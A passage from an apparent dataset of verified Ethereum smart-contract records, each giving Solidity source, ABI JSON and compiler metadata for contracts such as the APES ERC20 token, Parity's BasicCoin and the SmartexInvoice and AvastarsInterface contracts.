function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract APES is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("CoreApes", "APES", 18) {
governance = msg.sender;
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"_minter","type":"address"}],"name":"addMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"governance","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"minters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_minter","type":"address"}],"name":"removeMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_governance","type":"address"}],"name":"setGovernance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | false | 200 | Default | None | false | bzzr://2a55d0f8d0a52f83592f9589b64cac88ea98f76cecd493d37a1252920c01664b |
|||
Token | Token.sol | 0xc8e7a30996bbf9445d263c524ab6fd9510c0c628 | Solidity | pragma solidity ^0.4.11;
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data){
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x > MAX_UINT256 - y) throw;
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x < y) throw;
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) return 0;
if (x > MAX_UINT256 / y) throw;
return x * y;
}
}
contract Token is SafeMath{
mapping(address => uint) balances;
string public symbol = "";
string public name = "";
uint8 public decimals = 18;
uint256 public totalSupply = 0;
address owner = 0;
bool setupDone = false;
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function Token(address adr) {
owner = adr;
}
function SetupToken(string _tokenName, string _tokenSymbol, uint256 _tokenSupply)
{
if (msg.sender == owner && setupDone == false)
{
symbol = _tokenSymbol;
name = _tokenName;
totalSupply = _tokenSupply * 1000000000000000000;
balances[owner] = totalSupply;
setupDone = true;
}
}
function name() constant returns (string _name) {
return name;
}
function symbol() constant returns (string _symbol) {
return symbol;
}
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private returns (bool is_contract) {
uint length;
if (balanceOf(_addr) >=0 )
assembly {
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"_name","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"_totalSupply","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"_decimals","type":"uint8"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT256","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"_symbol","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_tokenName","type":"string"},{"name":"_tokenSymbol","type":"string"},{"name":"_tokenSupply","type":"uint256"}],"name":"SetupToken","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"inputs":[{"name":"adr","type":"address"}],"payable":false,"type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":true,"name":"data","type":"bytes"}],"name":"Transfer","type":"event"}] | v0.4.11+commit.68ef5810 | true | 200 | 000000000000000000000000aBE3d12e5518BF8266bB91B56913962ce1F77CF4 | Default | false | bzzr://9e4b63a73ea863fa9afc0c03d6a2903a4281cc9ae91c49abeadb7135f19b9c18 |
|||
SmartexInvoice | SmartexInvoice.sol | 0x21898bc62ed3577416b2a04fe3ed9a1665307db6 | Solidity | /**
* @notice Smartex Controller
* @author Christopher Moore [email protected] - Smartex.io Ltd. 2016 - https://smartex.io
*/
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
/**
* @notice Smartex Invoice
* @author Christopher Moore [email protected] - Smartex.io Ltd. 2016 - https://smartex.io
*/
contract SmartexInvoice is owned {
address sfm;
/**
* @notice Incoming transaction Event
* @notice Logs : block number, sender, value, timestamp
*/
event IncomingTx(
uint indexed blockNumber,
address sender,
uint value,
uint timestamp
);
/**
* @notice Refund Invoice Event
* @notice Logs : invoice address, timestamp
*/
event RefundInvoice(
address invoiceAddress,
uint timestamp
);
/**
* @notice Invoice constructor
*/
function SmartexInvoice(address target, address owner) {
sfm = target;
transferOwnership(owner);
}
/**
* @notice Refund invoice
* @param recipient (address refunded)
*/
function refund(address recipient) onlyOwner {
RefundInvoice(address(this), now);
}
function sweep(address _to) payable onlyOwner {
if (!_to.send(this.balance)) throw;
}
function advSend(address _to, uint _value, bytes _data) onlyOwner {
_to.call.value(_value)(_data);
}
/**
* @notice anonymous function
* @notice Triggered by invalid function calls and incoming transactions
*/
function() payable {
IncomingTx(block.number, msg.sender, msg.value, now);
}
} | [{"constant":false,"inputs":[{"name":"_to","type":"address"}],"name":"sweep","outputs":[],"payable":true,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"advSend","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"}],"name":"refund","outputs":[],"payable":false,"type":"function"},{"inputs":[{"name":"target","type":"address"},{"name":"owner","type":"address"}],"payable":false,"type":"constructor"},{"payable":true,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"blockNumber","type":"uint256"},{"indexed":false,"name":"sender","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"timestamp","type":"uint256"}],"name":"IncomingTx","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"invoiceAddress","type":"address"},{"indexed":false,"name":"timestamp","type":"uint256"}],"name":"RefundInvoice","type":"event"}] | v0.4.11+commit.68ef5810 | false | 200 | 000000000000000000000000cff6ca11574250535476687d05eeb02b4b18fcc7000000000000000000000000005c709253b8bcee166767a5f14310afcb9f6c4a | Default | false | bzzr://c685523b2038f7e1816cf0e1d82784e85941d3b753d10d42e16d2d5f3381aa22 |
|||
AvastarsInterface | AvastarsInterface.sol | 0xcaf0784e89d2bca4e9790ea6003947bfe7ee31b7 | Solidity | pragma solidity ^0.7.6;
interface AvastarsContract {
function useTraits(uint256 _primeId, bool[12] calldata _traitFlags) external;
function getPrimeReplicationByTokenId(uint256 _tokenId) external view returns (uint256 tokenId, bool[12] memory replicated);
}
interface ARTContract {
function burnArt(uint256 artToBurn) external;
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
contract AvastarsInterface {
constructor() {
Avastars = AvastarsContract(AvastarsAddress);
AvastarReplicantToken = ARTContract(ARTAddress);
owner = msg.sender;
setPaymentIncrement(5000000000000000);
}
modifier isOwner() {
require(msg.sender == owner, "Must be owner of contract");
_;
}
address public AvastarsAddress = 0xF3E778F839934fC819cFA1040AabaCeCBA01e049; //mainnet: 0xF3E778F839934fC819cFA1040AabaCeCBA01e049
address public ARTAddress = 0x69ad42A8726f161Bd4C76305DFa8F4ecc120115c; //mainnet: 0x69ad42A8726f161Bd4C76305DFa8F4ecc120115c
address public owner;
uint256 public paymentIncrement;
address payable paymentWallet = 0x4C7BEdfA26C744e6bd61CBdF86F3fc4a76DCa073; //nft42 wallet: 0x4C7BEdfA26C744e6bd61CBdF86F3fc4a76DCa073
event TraitsBurned(address msgsender, uint256 paymentTier);
AvastarsContract Avastars;
ARTContract AvastarReplicantToken;
function burnReplicantTraits(uint256 paymentTier, uint[] memory avastarIDs, bool[12][] memory avastarTraits) public payable {
require(msg.value >= paymentTier * paymentIncrement);
require(avastarIDs.length == avastarTraits.length);
uint256 totalAvastars = avastarIDs.length;
bool[12] memory traitIsUsed;
bool[12] memory traitsToBurn;
for (uint i = 0; i < totalAvastars; i = i + 1){
(, traitIsUsed) = Avastars.getPrimeReplicationByTokenId(avastarIDs[i]);
traitsToBurn = avastarTraits[i];
for(uint j = 0; j < 12; j = j + 1) {
if(traitIsUsed[j] == true) {
require(traitsToBurn[j] == false);
}
}
Avastars.useTraits(avastarIDs[i],avastarTraits[i]);
}
AvastarReplicantToken.transferFrom(msg.sender,address(this),1000000000000000000);
AvastarReplicantToken.burnArt(1);
paymentWallet.transfer(msg.value);
emit TraitsBurned(msg.sender, paymentTier);
}
function setPaymentIncrement(uint256 newIncrement) public isOwner {
paymentIncrement = newIncrement;
}
function setOwner(address newOwner) public isOwner {
owner = newOwner;
}
function setPaymentWallet(address payable newWallet) public isOwner {
paymentWallet = newWallet;
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"msgsender","type":"address"},{"indexed":false,"internalType":"uint256","name":"paymentTier","type":"uint256"}],"name":"TraitsBurned","type":"event"},{"inputs":[],"name":"ARTAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"AvastarsAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"paymentTier","type":"uint256"},{"internalType":"uint256[]","name":"avastarIDs","type":"uint256[]"},{"internalType":"bool[12][]","name":"avastarTraits","type":"bool[12][]"}],"name":"burnReplicantTraits","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paymentIncrement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"setOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newIncrement","type":"uint256"}],"name":"setPaymentIncrement","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setPaymentWallet","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 200 | Default | None | false | ipfs://dfc9db7532622da5babb388c3f231f987f90224fffbf0e941924a8cf4341511b |
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BasicCoin | BasicCoin.sol | 0x3b81a9e6d7d7316147ec6595180d289bab23a97b | Solidity | //! BasicCoin ECR20-compliant token contract
//! By Parity Team (Ethcore), 2016.
//! Released under the Apache Licence 2.
pragma solidity ^0.4.1;
// ECR20 standard token interface
contract Token {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
// Owner-specific contract interface
contract Owned {
event NewOwner(address indexed old, address indexed current);
modifier only_owner {
if (msg.sender != owner) throw;
_;
}
address public owner = msg.sender;
function setOwner(address _new) only_owner {
NewOwner(owner, _new);
owner = _new;
}
}
// TokenReg interface
contract TokenReg {
function register(address _addr, string _tla, uint _base, string _name) payable returns (bool);
function registerAs(address _addr, string _tla, uint _base, string _name, address _owner) payable returns (bool);
function unregister(uint _id);
function setFee(uint _fee);
function tokenCount() constant returns (uint);
function token(uint _id) constant returns (address addr, string tla, uint base, string name, address owner);
function fromAddress(address _addr) constant returns (uint id, string tla, uint base, string name, address owner);
function fromTLA(string _tla) constant returns (uint id, address addr, uint base, string name, address owner);
function meta(uint _id, bytes32 _key) constant returns (bytes32);
function setMeta(uint _id, bytes32 _key, bytes32 _value);
function transferTLA(string _tla, address _to) returns (bool success);
function drain();
uint public fee;
}
// BasicCoin, ECR20 tokens that all belong to the owner for sending around
contract BasicCoin is Owned, Token {
// this is as basic as can be, only the associated balance & allowances
struct Account {
uint balance;
mapping (address => uint) allowanceOf;
}
// the balance should be available
modifier when_owns(address _owner, uint _amount) {
if (accounts[_owner].balance < _amount) throw;
_;
}
// an allowance should be available
modifier when_has_allowance(address _owner, address _spender, uint _amount) {
if (accounts[_owner].allowanceOf[_spender] < _amount) throw;
_;
}
// no ETH should be sent with the transaction
modifier when_no_eth {
if (msg.value > 0) throw;
_;
}
// a value should be > 0
modifier when_non_zero(uint _value) {
if (_value == 0) throw;
_;
}
// the base, tokens denoted in micros
uint constant public base = 1000000;
// available token supply
uint public totalSupply;
// storage and mapping of all balances & allowances
mapping (address => Account) accounts;
// constructor sets the parameters of execution, _totalSupply is all units
function BasicCoin(uint _totalSupply, address _owner) when_no_eth when_non_zero(_totalSupply) {
totalSupply = _totalSupply;
owner = _owner;
accounts[_owner].balance = totalSupply;
}
// balance of a specific address
function balanceOf(address _who) constant returns (uint256) {
return accounts[_who].balance;
}
// transfer
function transfer(address _to, uint256 _value) when_no_eth when_owns(msg.sender, _value) returns (bool) {
Transfer(msg.sender, _to, _value);
accounts[msg.sender].balance -= _value;
accounts[_to].balance += _value;
return true;
}
// transfer via allowance
function transferFrom(address _from, address _to, uint256 _value) when_no_eth when_owns(_from, _value) when_has_allowance(_from, msg.sender, _value) returns (bool) {
Transfer(_from, _to, _value);
accounts[_from].allowanceOf[msg.sender] -= _value;
accounts[_from].balance -= _value;
accounts[_to].balance += _value;
return true;
}
// approve allowances
function approve(address _spender, uint256 _value) when_no_eth returns (bool) {
Approval(msg.sender, _spender, _value);
accounts[msg.sender].allowanceOf[_spender] += _value;
return true;
}
// available allowance
function allowance(address _owner, address _spender) constant returns (uint256) {
return accounts[_owner].allowanceOf[_spender];
}
// no default function, simple contract only, entry-level users
function() {
throw;
}
}
// Manages BasicCoin instances, including the deployment & registration
contract BasicCoinManager is Owned {
// a structure wrapping a deployed BasicCoin
struct Coin {
address coin;
address owner;
address tokenreg;
}
// a new BasicCoin has been deployed
event Created(address indexed owner, address indexed tokenreg, address indexed coin);
// a list of all the deployed BasicCoins
Coin[] coins;
// all BasicCoins for a specific owner
mapping (address => uint[]) ownedCoins;
// the base, tokens denoted in micros (matches up with BasicCoin interface above)
uint constant public base = 1000000;
// return the number of deployed
function count() constant returns (uint) {
return coins.length;
}
// get a specific deployment
function get(uint _index) constant returns (address coin, address owner, address tokenreg) {
Coin c = coins[_index];
coin = c.coin;
owner = c.owner;
tokenreg = c.tokenreg;
}
// returns the number of coins for a specific owner
function countByOwner(address _owner) constant returns (uint) {
return ownedCoins[_owner].length;
}
// returns a specific index by owner
function getByOwner(address _owner, uint _index) constant returns (address coin, address owner, address tokenreg) {
return get(ownedCoins[_owner][_index]);
}
// deploy a new BasicCoin on the blockchain
function deploy(uint _totalSupply, string _tla, string _name, address _tokenreg) payable returns (bool) {
TokenReg tokenreg = TokenReg(_tokenreg);
BasicCoin coin = new BasicCoin(_totalSupply, msg.sender);
uint ownerCount = countByOwner(msg.sender);
uint fee = tokenreg.fee();
ownedCoins[msg.sender].length = ownerCount + 1;
ownedCoins[msg.sender][ownerCount] = coins.length;
coins.push(Coin(coin, msg.sender, tokenreg));
tokenreg.registerAs.value(fee)(coin, _tla, base, _name, msg.sender);
Created(msg.sender, tokenreg, coin);
return true;
}
// owner can withdraw all collected funds
function drain() only_owner {
if (!msg.sender.send(this.balance)) {
throw;
}
}
} | [{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_new","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"base","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"inputs":[{"name":"_totalSupply","type":"uint256"},{"name":"_owner","type":"address"}],"type":"constructor"},{"payable":false,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"old","type":"address"},{"indexed":true,"name":"current","type":"address"}],"name":"NewOwner","type":"event"}] | v0.4.2+commit.af6afb04 | true | 200 | 0000000000000000000000000000000000000000000000000000b5e620f4800000000000000000000000000000438a827b29e346879dc81404e296182d9b2b20 | Default | false | ||||
ResourceEscrow | ResourceEscrow.sol | 0xd2d51b923753ff472c286a2878582f09191aa372 | Solidity | pragma solidity ^0.5.0;
interface Token {
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
}
interface USDTToken {
function transfer(address _to, uint _value) external;
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Restore();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function restore() onlyOwner whenPaused public {
paused = false;
emit Restore();
}
}
contract ResourceEscrow is Pausable {
using SafeMath for uint256;
struct TokenWapper {
Token token;
bool isValid;
}
mapping (string => TokenWapper) private tokenMap;
USDTToken private usdtToken;
event Withdrawn(address indexed to, string symbol, uint256 amount);
constructor () public {
}
function addToken(string memory symbol, address tokenContract) public onlyOwner {
require(bytes(symbol).length != 0, "symbol must not be blank.");
require(tokenContract != address(0), "tokenContract address must not be zero.");
require(!tokenMap[symbol].isValid, "There has existed token contract.");
tokenMap[symbol].token = Token(tokenContract);
tokenMap[symbol].isValid = true;
if (hashCompareWithLengthCheck(symbol, "USDT")) {
usdtToken = USDTToken(tokenContract);
}
}
function hashCompareWithLengthCheck(string memory a, string memory b) internal pure returns (bool) {
if (bytes(a).length != bytes(b).length) {
return false;
} else {
